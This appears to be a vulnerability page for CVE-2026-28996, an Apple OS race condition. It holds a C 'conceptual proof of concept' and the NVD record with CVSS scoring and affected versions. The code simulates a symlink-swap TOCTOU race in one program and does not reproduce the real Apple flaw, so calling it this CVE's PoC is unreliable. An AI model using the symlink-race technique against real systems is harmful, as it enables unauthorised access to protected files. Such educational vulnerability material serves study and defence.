CVE-2026-28996

/* * Conceptual Proof of Concept for Race Condition (CVE-2026-28996) * This C code simulates a Time-of-Check to Time-of-Use (TOCTOU) race condition. * It is intended for educational purposes to demonstrate the vulnerability mechanism. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/stat.h> #include <fcntl.h> #define TARGET_FILE "/tmp/sensitive_data" #define LINK_DEST "/private/var/mobile/Library/Sensitive/secret.txt" // Attacker thread function to exploit the race window void* race_exploit(void* arg) { while (1) { // Attempt to swap the file after the check but before the open unlink(TARGET_FILE); symlink(LINK_DEST, TARGET_FILE); usleep(100); // Tuning the timing to hit the race window } return NULL; } int main() { pthread_t attacker_thread; // Start the racing thread if (pthread_create(&attacker_thread, NULL, race_exploit, NULL) != 0) { perror("Failed to create thread"); return 1; } // Simulate the vulnerable application logic while (1) { struct stat st; // 1. Check: Verify if the file exists and is safe (e.g., owned by app) if (lstat(TARGET_FILE, &st) == 0) { // Assume check passes here // Short delay to increase the chance of hitting the race window // In a real vuln, this might be a context switch or heavy computation usleep(50); // 2. Use: Open the file int fd = open(TARGET_FILE, O_RDONLY); if (fd >= 0) { // If successful, we might have opened a symlinked protected file printf("[+] Potential exploit success! File descriptor opened: %d\n", fd); // In a real scenario, read data here close(fd); break; } } } // Cleanup pthread_cancel(attacker_thread); pthread_join(attacker_thread, NULL); return 0; }

{"cve": {"id": "CVE-2026-28996", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:59.520", "lastModified": "2026-05-14T14:01:59.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition was addressed with additional validation. This issue is fixed in iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.7", "matchCriteriaId": "DD9E7FAE-30DA-4B2B-A63A-6DFEA7A29933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127117", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}